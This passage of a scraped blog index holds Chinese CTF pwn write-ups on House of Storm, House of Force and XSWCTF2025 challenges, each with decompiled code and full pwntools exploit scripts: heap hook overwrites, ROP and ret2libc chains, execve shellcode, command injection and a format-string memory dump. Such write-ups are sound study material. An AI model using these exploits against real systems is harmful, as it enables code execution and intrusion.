victim-\u0026gt;bk_nextsize = victim; } //#define mark_bin(m, i) ((m)-\u0026gt;binmap[idx2block (i)] |= idx2bit (i)) mark_bin(av, victim_index); //把victim加入到的bin的表示为非空 //把victim加入到large bin的链表中 victim-\u0026gt;bk = bck; victim-\u0026gt;fd = fwd; fwd-\u0026gt;bk = victim; bck-\u0026gt;fd = victim; } 利用方法 1 控制unsorted_chunk的bk为fake_chunk\n2 控制largebin_chunk的bk和bk_nextsize分别为fake_chunk+0x8和fake_chunk-0x18-5\n3申请一个大小为0x50的chunk(这里大小指nb)\n[BUU] 0ctf_2018_heapstorm2 代码分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 __int64 sub_BE6() { int i; // [rsp+8h] [rbp-18h] int fd; // [rsp+Ch] [rbp-14h] setvbuf(stdin, 0LL, 2, 0LL); setvbuf(_bss_start, 0LL, 2, 0LL); alarm(0x3Cu); puts( \u0026#34; __ __ _____________ __ __ ___ ____\\n\u0026#34; \u0026#34; / //_// ____/ ____/ | / / / / / | / __ )\\n\u0026#34; \u0026#34; / ,\u0026lt; / __/ / __/ / |/ / / / / /| | / __ |\\n\u0026#34; \u0026#34; / /| |/ /___/ /___/ /| / / /___/ ___ |/ /_/ /\\n\u0026#34; \u0026#34;/_/ |_/_____/_____/_/ |_/ /_____/_/ |_/_____/\\n\u0026#34;); puts(\u0026#34;===== HEAP STORM II =====\u0026#34;); if ( !mallopt(1, 0) ) exit(-1); if ( mmap(\u0026amp;unk_13370000, 0x1000uLL, 3, 34, -1, 0LL) != \u0026amp;unk_13370000 ) exit(-1); fd = open(\u0026#34;/dev/urandom\u0026#34;, 0); if ( fd \u0026lt; 0 ) exit(-1); if ( read(fd, \u0026amp;unk_13370800, 0x18uLL) != 24 ) exit(-1); close(fd); unk_13370818 = unk_13370810; for ( i = 0; i \u0026lt;= 15; ++i ) { *((_QWORD *)\u0026amp;unk_13370800 + 2 * i + 4) = xor1(\u0026amp;unk_13370800, 0LL); *((_QWORD *)\u0026amp;unk_13370808 + 2 * i + 4) = xor2(0x13370800LL, 0LL); } return 0x13370800LL; } init函数用了mallopt将M_MXFAST置为0，这个变量表示一个阈值，此阈值以下的size分配chunk的时候使用fastbin，否则不用。这里置为0，表示所有的chunk都不走fast bin,无论是分配或是释放。此外程序使用mmap分配了一块内存区域0x13370000，可读可写。\nmap_addr[0]、map_addr[1]、map_addr[2]为/dev/urandom生成的随机数。map_addr[3]=map_addr[2]\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 void __fastcall add(__int64 a1) { int i; // [rsp+10h] [rbp-10h] int v2; // [rsp+14h] [rbp-Ch] void *v3; // [rsp+18h] [rbp-8h] for ( i = 0; i \u0026lt;= 15; ++i ) { if ( !xor2(a1, *(_QWORD *)(16 * (i + 2LL) + a1 + 8)) ) { printf(\u0026#34;Size: \u0026#34;); v2 = getnum(); if ( v2 \u0026gt; 12 \u0026amp;\u0026amp; v2 \u0026lt;= 4096 ) { v3 = calloc(v2, 1uLL); if ( !v3 ) exit(-1); *(_QWORD *)(16 * (i + 2LL) + a1 + 8) = xor2(a1, v2); *(_QWORD *)(16 * (i + 2LL) + a1) = xor1(a1, v3); printf(\u0026#34;Chunk %d Allocated\\n\u0026#34;, (unsigned int)i); } else { puts(\u0026#34;Invalid Size\u0026#34;); } return; } } } add()函数从map_addr[4]开始寻找空闲位置(xor寻找)，size要求大于12小于0x1001，使用calloc，因此会将内存清零。map_addr[i]存放的是size和map_addr[0]异或的值，map_addr[i+1]存放的是chunk_addr和map_addr[1]异或的值。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 int __fastcall edit(_QWORD *a1) { signed int v2; // [rsp+10h] [rbp-20h] int v3; // [rsp+14h] [rbp-1Ch] __int64 v4; // [rsp+18h] [rbp-18h] printf(\u0026#34;Index: \u0026#34;); v2 = getnum(); if ( (unsigned int)v2 \u0026gt; 0xF || !xor2((__int64)a1, a1[2 * v2 + 5]) ) return puts(\u0026#34;Invalid Index\u0026#34;); printf(\u0026#34;Size: \u0026#34;); v3 = getnum(); if ( v3 \u0026lt;= 0 || v3 \u0026gt; (unsigned __int64)(xor2((__int64)a1, a1[2 * v2 + 5]) - 12) ) return puts(\u0026#34;Invalid Size\u0026#34;); printf(\u0026#34;Content: \u0026#34;); v4 = xor1(a1, a1[2 * v2 + 4]); sub_1377(v4, v3); strcpy((char *)(v3 + v4), \u0026#34;HEAPSTORM_II\u0026#34;); return printf(\u0026#34;Chunk %d Updated\\n\u0026#34;, (unsigned int)v2); } edit函数存在off_by_one漏洞\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 int __fastcall delete(_QWORD *a1) { void *v2; // rax signed int v3; // [rsp+1Ch] [rbp-4h] printf(\u0026#34;Index: \u0026#34;); v3 = getnum(); if ( (unsigned int)v3 \u0026gt; 0xF || !xor2((__int64)a1, a1[2 * v3 + 5]) ) return puts(\u0026#34;Invalid Index\u0026#34;); // 1 v2 = (void *)xor1(a1, a1[2 * v3 + 4]); free(v2); a1[2 * v3 + 4] = xor1(a1, 0LL); a1[2 * v3 + 5] = xor2((__int64)a1, 0LL); return printf(\u0026#34;Chunk %d Deleted\\n\u0026#34;, (unsigned int)v3); } Delete函数释放堆块并将原位置置为map_addr[0]和map_addr[1]\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 int __fastcall show(_QWORD *a1) { __int64 v2; // rbx __int64 v3; // rax signed int v4; // [rsp+1Ch] [rbp-14h] if ( (a1[3] ^ a1[2]) != 0x13377331LL ) return puts(\u0026#34;Permission denied\u0026#34;); printf(\u0026#34;Index: \u0026#34;); v4 = getnum(); if ( (unsigned int)v4 \u0026gt; 0xF || !xor2((__int64)a1, a1[2 * v4 + 5]) ) return puts(\u0026#34;Invalid Index\u0026#34;); printf(\u0026#34;Chunk[%d]: \u0026#34;, (unsigned int)v4); v2 = xor2((__int64)a1, a1[2 * v4 + 5]); v3 = xor1(a1, a1[2 * v4 + 4]); sub_14D4(v3, v2); return puts(word_180A); } show函数要先满足map_addr[2] xor map_addr[3] == 0x13377331，否则不能输出\n利用思路 本题的show函数需要通过验证才能解锁，所以我们需要修改mmap_addr[]的内容，利用house of storm可以将mmap_addr当做一个chunk来申请，从而修改其中内容\n1利用off_by_null漏洞构造2个chunk overlap，一个用来修改unsortedbin_chunk的bk,一个用来修改largebin_chunk的bk和bk_next_size\n2修改mmap_addr[0、1、2]为0，map_addr[3] = 0x13377331，绕过show检查\n3修改chunk0_content_addr为mmap_addr，之后可以通过edit(chunk0)控制mmap_addr[]的所有内容，泄露heap,libc,修改free_hook即可\nexp如下\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 from pwn import * context(log_level=\u0026#39;debug\u0026#39;,arch=\u0026#39;amd64\u0026#39;) libc=ELF(\u0026#39;/home/fuguang/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6\u0026#39;) #libc=ELF(\u0026#39;libc-2.23.so\u0026#39;) def add(size): p.sendline(\u0026#39;1\u0026#39;) p.recvuntil(\u0026#39;Size: \u0026#39;) assert(12 \u0026lt; size \u0026lt;= 0x1000) p.sendline(str(size)) p.recvuntil(\u0026#39;Command: \u0026#39;) def edit(idx, content): p.sendline(\u0026#39;2\u0026#39;) p.recvuntil(\u0026#39;Index: \u0026#39;) p.sendline(str(idx)) p.recvuntil(\u0026#39;Size: \u0026#39;) p.sendline(str(len(content))) p.recvuntil(\u0026#39;Content: \u0026#39;) p.send(content) p.recvuntil(\u0026#39;Command: \u0026#39;) def free(idx): p.sendline(\u0026#39;3\u0026#39;) p.recvuntil(b\u0026#39;Index: \u0026#39;) p.sendline(str(idx)) p.recvuntil(\u0026#39;Command: \u0026#39;) def show(idx): p.sendline(b\u0026#39;4\u0026#39;) p.recvuntil(b\u0026#39;Index: \u0026#39;) p.sendline(str(idx)) p.recvuntil(b\u0026#39;]:\u0026#39;) p.recv(1) addr=u64(p.recv(6).ljust(8,b\u0026#39;\\x00\u0026#39;)) return addr while True: p=process(\u0026#39;./pwn\u0026#39;) #p=remote(\u0026#39;node5.buuoj.cn\u0026#39;,28814) add(0x18)#0 add(0x508)#1 add(0x18)#2 edit(1,b\u0026#39;a\u0026#39;*0x4f0+p64(0x500)) add(0x18)#3 add(0x508)#4 add(0x18)#5 edit(4,b\u0026#39;a\u0026#39;*0x4f0+p64(0x500)) add(0x18)#6 free(1) edit(0,b\u0026#39;a\u0026#39;*(0x18-12)) add(0x18)#1 add(0x4d8)#7 free(1) free(2) add(0x38)#1 add(0x4e8)#2 free(4) edit(3,b\u0026#39;a\u0026#39;*(0x18-12)) add(0x18)# 4 add(0x4d8)#8 free(4) free(5) add(0x48)# 4 free(2) add(0x4e8) free(2) storage=0x13370000+0x800 fake_chunk=storage-0x20 pay1=p64(0)*2+p64(0)+p64(0x4f1) pay1+=p64(0)+p64(fake_chunk)#修改unsorted bin chunk bk edit(7,pay1) #修改large bin bk bk-\u0026gt;nextsize pay2=p64(0)*4+p64(0)+p64(0x4e1) pay2+=p64(0)+p64(fake_chunk+8) pay2+=p64(0)+p64(fake_chunk-0x18-0x5) edit(8,pay2) try: add(0x48)#2 except: p.close() continue pay3=p64(0)*5+p64(0x13377331)+p64(storage) edit(2,pay3) pay4=p64(0)*3+p64(0x13377331)+p64(storage)+p64(0x1000)#chunk0_Ptr,size pay4+=p64(0x133707e3)+p64(8)#chunk1_ptr,size edit(0,pay4) heap=show(1) #gdb.attach(p) print(hex(heap)) pay5=p64(0)*3+p64(0x13377331)+p64(storage)+p64(0x1000)#chunk0_Ptr,size pay5+=p64(heap+0x10)+p64(8) edit(0,pay5) libcbase=show(1)-0x3c4b78 print(hex(libcbase)) free_hook=libcbase+libc.sym[\u0026#39;__free_hook\u0026#39;] sys=libcbase+libc.sym[\u0026#39;system\u0026#39;] pay6=p64(0)*3+p64(0x13377331)+p64(storage)+p64(0x1000)#chunk0_Ptr,size pay6+=p64(free_hook)+p64(8) pay6+=p64(storage+0x50)+p64(8) pay6+=b\u0026#39;/bin/sh\\x00\u0026#39; edit(0,pay6) edit(1,p64(sys)) print(hex(free_hook)) #gdb.attach(p) p.sendline(\u0026#39;3\u0026#39;) p.recvuntil(b\u0026#39;Index: \u0026#39;) p.sendline(b\u0026#39;2\u0026#39;) p.interactive() break ","date":"2026-02-15T00:43:28+08:00","image":"http://localhost:1313/image/House_of_storm.jpg","permalink":"http://localhost:1313/p/house-of-stormbuu-0ctf_2018_heapstorm2/","title":"House of storm\u0026\u0026[BUU] 0ctf_2018_heapstorm2"},{"content":"以glibc2.23为例\n利用条件\n可以修改top chunk的size位 对申请堆块的大小没有检测 原理，先修改top chunk的size，然后计算top chunk与任意地址的位置，申请一个大chunk，将top chunk地址改为我们要修改的地址附近，然后再次申请合适大小chunk后对该chunk进行修改就行实现任意地址写\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 victim = av-\u0026gt;top; size = chunksize (victim); if ((unsigned long) (size) \u0026gt;= (unsigned long) (nb + MINSIZE)) { remainder_size = size - nb; remainder = chunk_at_offset (victim, nb); av-\u0026gt;top = remainder; set_head (victim, nb | PREV_INUSE | (av != \u0026amp;main_arena ? NON_MAIN_ARENA : 0)); set_head (remainder, remainder_size | PREV_INUSE); check_malloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } 例题 BUUCTF\ngyctf_2020_force 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 void __fastcall __noreturn main(int a1, char **a2, char **a3) { __int64 v3; // rax char s[256]; // [rsp+10h] [rbp-110h] BYREF unsigned __int64 v5; // [rsp+118h] [rbp-8h] v5 = __readfsqword(0x28u); setbuf(stdin, 0LL); setbuf(stdout, 0LL); setbuf(stderr, 0LL); memset(s, 255, sizeof(s)); while ( 1 ) { memset(s, 255, sizeof(s)); puts(\u0026#34;1:add\u0026#34;); puts(\u0026#34;2:puts\u0026#34;); read(0, nptr, 0xFuLL); v3 = atol(nptr); if ( v3 == 1 ) { add(); } else if ( v3 == 2 ) { put(); } } } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 unsigned __int64 add() { const void **i; // [rsp+0h] [rbp-120h] __int64 size; // [rsp+8h] [rbp-118h] char s[256]; // [rsp+10h] [rbp-110h] BYREF unsigned __int64 v4; // [rsp+118h] [rbp-8h] v4 = __readfsqword(0x28u); memset(s, 255, sizeof(s)); for ( i = (const void **)\u0026amp;unk_202080; *i; ++i ) ; if ( (char *)i - (char *)\u0026amp;unk_202080 \u0026gt; 39 ) exit(0); puts(\u0026#34;size\u0026#34;); read(0, nptr, 0xFuLL); size = atol(nptr); *i = malloc(size); if ( !*i ) exit(0); printf(\u0026#34;bin addr %p\\n\u0026#34;, *i); puts(\u0026#34;content\u0026#34;); read(0, (void *)*i, 0x50uLL); puts(\u0026#34;done\u0026#34;); return __readfsqword(0x28u) ^ v4; } glibc 的 malloc 分配内存有两种核心方式，用 阈值 区分：当申请chunk大小小于阈值时，采用brk分配， 从进程heap段扩展，地址连续 ；当申请chunk大小大于阈值时，使用mmap分配， 向内核申请独立的内存，与libcbase偏移固定，所以可以用来泄露libcbase\n提前将/bin/sh写入top，然后利用house of force修改malloc_hook为system,再次malloc时传入binsh(size值原本我们给的是数值,会把这个数值给 rdi，现在给的是 top chunk 地址，给 rdi 的值就是top chunk 的内容)\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 from pwn import* context(log_level=\u0026#39;debug\u0026#39;,arch=\u0026#39;amd64\u0026#39;,os=\u0026#39;linux\u0026#39;) p=process(\u0026#39;./pwn\u0026#39;) #p=remote(\u0026#39;node5.buuoj.cn\u0026#39;,25688) elf=ELF(\u0026#39;./pwn\u0026#39;) #libc=ELF(\u0026#39;./libc-2.23.so\u0026#39;) libc=ELF(\u0026#39;/home/fuguang/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6\u0026#39;) def add(size,content): p.recvuntil(b\u0026#39;2:puts\u0026#39;) p.sendline(b\u0026#39;1\u0026#39;) p.sendlineafter(b\u0026#39;size\u0026#39;,str(size)) p.recvuntil(b\u0026#39;0x\u0026#39;) addr=int(p.recv(12),16) p.sendafter(b\u0026#39;content\u0026#39;,content) return addr libcbase=add(9999999999,b\u0026#39;a\u0026#39;*8)+0x2540beff0 print(hex(libcbase)) top = add(0x18,b\u0026#39;a\u0026#39;*0x10+b\u0026#39;/bin/sh\\x00\u0026#39;+p64(0xFFFFFFFFFFFFFFFF))+0x10 malloc_hook=libc.sym[\u0026#39;__malloc_hook\u0026#39;]+libcbase print(hex(malloc_hook)) system=libc.sym[\u0026#39;system\u0026#39;] print(hex(system)) offset = (malloc_hook-0x20)-top print(hex(offset)) addr=add(offset, b\u0026#39;aaa\u0026#39;) addr1=addr+offset log.success(\u0026#34;addr1 :\u0026#34;+hex(addr1)) system=libc.sym[\u0026#39;system\u0026#39;]+libcbase addr2=add(0x10,p64(system)) log.success(\u0026#34;addr2 :\u0026#34;+hex(addr2)) p.recvuntil(b\u0026#39;2:puts\u0026#39;) p.sendline(b\u0026#39;1\u0026#39;) gdb.attach(p) p.sendlineafter(b\u0026#39;size\u0026#39;,str(top)) p.interactive() 另一种解法 ,one_gadget,realloc抬rsp,关于realloc的解释如下 https://blog.csdn.net/Invin_cible/article/details/123042819\n碎碎念：由于期末周复习原因好久至少一个月没学pwn了，本来复现了XSW初赛没解出的题但是没有来得及写wp,后面尽量找时间不上，虽然大学好忙但是加油加油\n","date":"2026-02-02T00:43:28+08:00","image":"http://localhost:1313/image/House_of_force.jpg","permalink":"http://localhost:1313/p/house-of-forcegyctf_2020_force/","title":"House of force\u0026\u0026gyctf_2020_force"},{"content":"ezzzzz_overflow 开了NX保护，scanf函数存在无限栈溢出，有后门，ret2text\n1 2 3 4 5 6 7 8 9 10 from pwn import * #p=process(\u0026#39;./pwn\u0026#39;) p=remote(\u0026#39;192.168.248.1\u0026#39;,64762) context(log_level=\u0026#39;debug\u0026#39;,arch=\u0026#39;amd64\u0026#39;) p.recvuntil(b\u0026#39;you name?\u0026#39;) shell=0x4011b6 ret=0x4012AA pay=b\u0026#39;a\u0026#39;*(0x20+8)+p64(shell) p.sendline(pay) p.interactive() roprop 有NX和pie\n1 2 3 4 5 6 7 8 9 10 11 12 int __fastcall main(int argc, const char **argv, const char **envp) { __int64 buf[4]; // [rsp+0h] [rbp-20h] BYREF init(argc, argv, envp); printf(\u0026#34;welcome to xswctf!!\u0026#34;); memset(buf, 0, sizeof(buf)); puts(\u0026#34;here is a gift.\u0026#34;); printf(\u0026#34;%p\\n\u0026#34;, gift); read(0, buf, 0x50uLL); return 0; } 给了gift地址用来绕过pie,没有后门，有systemplt,gadget和/bin/sh字串，打rop\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import * #p=process(\u0026#39;./pwn\u0026#39;) p=remote(\u0026#39;192.168.248.1\u0026#39;,54036) context(log_level=\u0026#39;debug\u0026#39;,arch=\u0026#39;amd64\u0026#39;) p.recvuntil(b\u0026#39;welcome to xswctf!!here is a gift.\u0026#39;) p.recvuntil(b\u0026#39;0x\u0026#39;) pie=int(p.recv(12),16)-0x4038 print(hex(pie)) sys=pie+0x1040 binsh=pie+0x4048 rdi=pie+0x11f4 ret=pie+0x1016 pay=b\u0026#39;a\u0026#39;*(0x20+8)+p64(ret)+p64(rdi)+p64(binsh)+p64(sys)+p64(0) p.sendline(pay) p.interactive() shellcode的艺术(尝鲜版) 无NX有pie\n1 2 3 4 5 6 7 8 9 10 void vuln() { char buf[312]; // [rsp+0h] [rbp-140h] BYREF unsigned __int64 v1; // [rsp+138h] [rbp-8h] v1 = __readfsqword(0x28u); puts(\u0026#34;你知道shellcode是什么吗，试着编写你自己的shellcode吧\u0026#34;); read(0, buf, 0x12CuLL); __asm { jmp rsi } } 程序先向buf中数据然后执行其内容 所以ret2shellcode\n1 2 3 4 5 6 7 8 from pwn import * #p=process(\u0026#39;./pwn\u0026#39;) p=remote(\u0026#39;192.168.248.1\u0026#39;,52425) context(log_level=\u0026#39;debug\u0026#39;, arch=\u0026#39;amd64\u0026#39;) shellcode = b\u0026#34;\\x6a\\x3b\\x58\\x99\\x48\\xbb\\x2f\\x62\\x69\\x6e\\x2f\\x2f\\x73\\x68\\x52\\x53\\x54\\x5f\\x52\\x5e\\x0f\\x05\u0026#34; p.send(shellcode) p.interactive() 数字炸弹bomb! 保护全开\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 int __fastcall main(int argc, const char **argv, const char **envp) { unsigned int v3; // eax int v5; // [rsp+0h] [rbp-30h] BYREF int i; // [rsp+4h] [rbp-2Ch] int v7; // [rsp+8h] [rbp-28h] int v8; // [rsp+Ch] [rbp-24h] char buf[24]; // [rsp+10h] [rbp-20h] BYREF unsigned __int64 v10; // [rsp+28h] [rbp-8h] v10 = __readfsqword(0x28u); init(argc, argv, envp); v3 = time(0LL); srand(v3); v7 = rand() % 500; puts(\u0026#34;让我们来玩数字炸弹吧!!!但这次是猜中有奖哦~~~~\u0026#34;); printf(\u0026#34;请输入你的游戏ID: \u0026#34;); v8 = read(0, buf, 0x14uLL); buf[v8 - 1] = 0; printf(buf); puts(\u0026#34;,欢迎您！\u0026#34;); puts(\u0026#34;---------------------------------------------------\u0026#34;); puts(\u0026#34; 游戏开始 \u0026#34;); for ( i = 0; i \u0026lt;= 2; ++i ) { printf(\u0026#34;猜猜我的炸弹是什么(提示----在[0,500)中哦)： \u0026#34;); __isoc99_scanf(\u0026amp;unk_214C, \u0026amp;v5); if ( v7 == v5 ) win(); if ( v7 \u0026gt; v5 ) puts(\u0026amp;byte_214F); if ( v7 \u0026lt; v5 ) puts(\u0026#34;嘶，，大了呢\u0026#34;); } puts(\u0026#34;---------------------------------------------------\u0026#34;); puts(\u0026#34; 游戏结束 \u0026#34;); puts(\u0026amp;byte_21B0); return 0; } 是一个伪随机绕过 题目用了v3 = time(0LL); 所以我们的种子也设为当前时间就好\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import * import time import ctypes #p=process(\u0026#39;./pwn\u0026#39;) libc=ctypes.CDLL(\u0026#39;/lib/x86_64-linux-gnu/libc.so.6\u0026#39;) p=remote(\u0026#39;192.168.248.1\u0026#39;,59068) context(log_level=\u0026#39;debug\u0026#39;,arch=\u0026#39;amd64\u0026#39;) seed = int(time.time()) libc.srand(seed) p.recvuntil(b\u0026#39;ID: \u0026#39;) p.send(b\u0026#39;a\u0026#39;) ans=str(libc.rand() % 500) p.recvuntil(\u0026#39;： \u0026#39;) p.sendline(ans.encode()) p.interactive() Pikachu 没有后门 但是edit和add都有栈溢出，可以找到pop rdi 于是ret2libc,我用的是add函数\n需要注意的是, 读入payload的时会覆盖v3，所以payload需要保证v3的值不变如\n1 pay1=b\u0026#39;a\u0026#39;*(0x110-4)+p32(0)+p64(0)+p64(rdi)+p64(putsgot)+p64(putsplt)+p64(addd) 的p32(0)\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 int add() { _QWORD *v0; // rax char buf[268]; // [rsp+0h] [rbp-110h] BYREF unsigned int v3; // [rsp+10Ch] [rbp-4h] BYREF puts(\u0026#34;input index:\u0026#34;); v3 = 0; __isoc99_scanf(\u0026#34;%d\u0026#34;, \u0026amp;v3); if ( v3 \u0026lt; 0xA ) { if ( p[v3] ) { LODWORD(v0) = puts(\u0026#34;The element already exists in the array.\u0026#34;); } else { puts(\u0026#34;input content:\u0026#34;); read(0, buf, 0x200uLL); v0 = p; p[v3] = gift; } } else { LODWORD(v0) = puts(\u0026#34;Array out of bounds\u0026#34;); } return (int)v0; } from pwn import * #p=process(\u0026#39;./pwn\u0026#39;) libc=ELF(\u0026#39;./libc.so.6\u0026#39;) p=remote(\u0026#39;192.168.248.1\u0026#39;,52538) context(log_level=\u0026#39;debug\u0026#39;,arch=\u0026#39;amd64\u0026#39;) def add(idx,content): p.recvuntil(b\u0026#39;5.exit\u0026#39;) p.sendline(b\u0026#39;1\u0026#39;) p.recvuntil(b\u0026#39;input index:\u0026#39;) p.sendline(str(idx).encode()) p.recvuntil(b\u0026#39;input content:\u0026#39;) p.send(content) def edit(idx,content): p.recvuntil(b\u0026#39;5.exit\u0026#39;) p.sendline(b\u0026#39;2\u0026#39;) p.recvuntil(b\u0026#39;input index:\u0026#39;) p.sendline(str(idx).encode()) p.recvuntil(b\u0026#39;input content:\u0026#39;) p.send(content) def dele(idx): p.recvuntil(b\u0026#39;5.exit\u0026#39;) p.sendline(b\u0026#39;3\u0026#39;) p.recvuntil(b\u0026#39;input index:\u0026#39;) p.sendline(str(idx).encode()) rdi=0x4011cb putsgot=0x404000 putsplt=0x401030 main=0x40152d addd=0x401240 pay1=b\u0026#39;a\u0026#39;*(0x110-4)+p32(0)+p64(0)+p64(rdi)+p64(putsgot)+p64(putsplt)+p64(addd) #gdb.attach(p) add(0,pay1) p.recv(1) #-0x835a0 libcbase=u64(p.recv(6).ljust(8,b\u0026#39;\\x00\u0026#39;))-0x805a0 print(hex(libcbase)) #gdb.attach(p) sys=libcbase+libc.symbols[\u0026#39;system\u0026#39;] binsh = libcbase + 0x1a7ea4 ret=0x401016 ogg1=libcbase+0xddf43 ogg2=libcbase+0xfb06a p.recvuntil(b\u0026#39;input index:\u0026#39;) p.sendline(b\u0026#39;1\u0026#39;) p.recvuntil(b\u0026#39;input content:\u0026#39;) pay2=b\u0026#39;a\u0026#39;*(0x110-4)+p32(1)+p64(0)+p64(ret)+p64(rdi)+p64(binsh)+p64(sys) print(hex(libcbase)) print(hex(binsh)) print(hex(sys)) #gdb.attach(p) p.send(pay2) p.interactive() AAAA文件读取系统 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 void *__fastcall cat(void *a1) { char dest[8]; // [rsp+10h] [rbp-40h] BYREF __int64 v3; // [rsp+18h] [rbp-38h] __int64 v4; // [rsp+20h] [rbp-30h] __int64 v5; // [rsp+28h] [rbp-28h] __int64 v6; // [rsp+30h] [rbp-20h] __int64 v7; // [rsp+38h] [rbp-18h] __int16 v8; // [rsp+40h] [rbp-10h] *(_QWORD *)dest = 544498019LL; v3 = 0LL; v4 = 0LL; v5 = 0LL; v6 = 0LL; v7 = 0LL; v8 = 0; strcat(dest, file); system(dest); return 0LL; } void __noreturn vuln() { pthread_t newthread; // [rsp+8h] [rbp-8h] BYREF puts(\u0026amp;s); puts(\u0026#34;这个文件夹里有以下文件——\u0026#34;); system(\u0026#34;ls\u0026#34;); while ( 1 ) { puts(\u0026#34;所以你想知道哪个文件的内容呢~😏:\u0026#34;); __isoc99_scanf(\u0026amp;aS, file); if ( !strcmp(file, v1) ) puts(\u0026#34;抱歉，就是不给你看这个文件呢~~~~~~~~~~\u0026#34;); else pthread_create(\u0026amp;newthread, 0LL, cat, 0LL); } } 审读源码 如果文件名不为flag，cat函数会把文件名拼接到deat后然后执行，虽然不知道为什么system(dest+命令也能执行但是确实可以（ 正常情况下应该;＋命令进行多条命令执行\n1 2 3 4 5 6 7 8 9 10 11 from pwn import * #p=process(\u0026#39;./pwn\u0026#39;) p=remote(\u0026#39;192.168.248.1\u0026#39;,60786) context(log_level=\u0026#39;debug\u0026#39;,arch=\u0026#39;amd64\u0026#39;) p.recvuntil(b\u0026#39;:\u0026#39;) sys=0x4010b0 binsh=0x004020cd #pay=b\u0026#39;a\u0026#39;*0x40+p64(sys) pay=b\u0026#39;cat /flag\u0026#39; p.sendline(pay) p.interactive() nofile fmt盲打，从网上搜了一下需要先dump文件内容，模仿了一个脚本如下，从0x40000开始泄露\n但是泄露的elf文件不完整，于是又上网搜 发现\n这样设置的话可以打开文件\n读汇编发现name=y0u_kn0w_c6c?的时候获得shell\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 import os import sys import time from pwn import * from ctypes import * import binascii context.os = \u0026#39;linux\u0026#39; context.log_level = \u0026#34;debug\u0026#34; x64_32 = 1 if x64_32: context.arch = \u0026#39;amd64\u0026#39; else: context.arch = \u0026#39;i386\u0026#39; # 增加超时设置，防止无限等待 p = remote(\u0026#39;192.168.248.1\u0026#39;, 58731, timeout=5) begin = 0x400000 bin_data = b\u0026#39;\u0026#39; def leak(addr): \u0026#34;\u0026#34;\u0026#34; 尝试泄露指定地址的数据。 如果成功，返回泄露的数据（不含\u0026#39;dump\u0026#39;）。 如果失败（超时或连接关闭），返回 None。 \u0026#34;\u0026#34;\u0026#34; try: pl = b\u0026#34;%7$sdump\u0026#34; + p64(addr) p.sendafter(b\u0026#39;Please enter your answer\\n\u0026#39;, pl) data = p.recvuntil(b\u0026#39;dump\u0026#39;, drop=True) return data except (pwnlib.exception.PwnlibTimeoutError, EOFError): return None try: while True: print(f\u0026#34;[*] Trying to leak address: 0x{begin:016x}\u0026#34;) data = leak(begin) if data is None: # 如果 leak 返回 None，说明已经没有数据可以读取了 print(\u0026#34;[!] No more data received. Exiting loop.\u0026#34;) break if not data: # 如果返回空字节串 b\u0026#39;\u0026#39; # 这通常意味着泄露的就是空数据 bin_data += b\u0026#39;\\x00\u0026#39; begin += 1 else: bin_data += data begin += len(data) except Exception as e: print(f\u0026#34;[!] An error occurred: {e}\u0026#34;) finally: print(f\u0026#39;[+] Dump finished. Total length: {len(bin_data)} bytes.\u0026#39;) with open(\u0026#39;dump_bin\u0026#39;, \u0026#39;wb\u0026#39;) as f: f.write(bin_data) # 尝试关闭连接 try: p.close() except: pass from pwn import * p = remote(\u0026#39;192.168.248.1\u0026#39;, 58731) p.recvuntil(b\u0026#39;Please enter your answer\u0026#39;) p.send(b\u0026#39;y0u_kn0w_c6c?\u0026#39;) p.interactive() ","date":"2025-12-06T23:34:28+08:00","image":"http://localhost:1313/image/XSWCTF_2.jpg","permalink":"http://localhost:1313/p/xswctf2025%E5%88%9D%E8%B5%9Bpwn-wp/","title":"XSWCTF2025初赛Pwn wp"},{"content":"由于格式化字符串不在栈上，无法直接将想要改写的地址指针放置在栈上，也就没办法实现任意地址写。那么就要想办法将想改写的地址指针放到栈上\n%x$n 写地址时是将此处数据作为指针，改写的是该指针指向的内容\nA\u0026ndash;\u0026gt; B\u0026ndash;\u0026gt; C\u0026ndash;\u0026gt; 假设A的偏移为x，%x$n会将B作为指针，改写其指向的内容C\n如果我们想修改printf的got表，首先需要如下结构\nD\u0026ndash;\u0026gt; 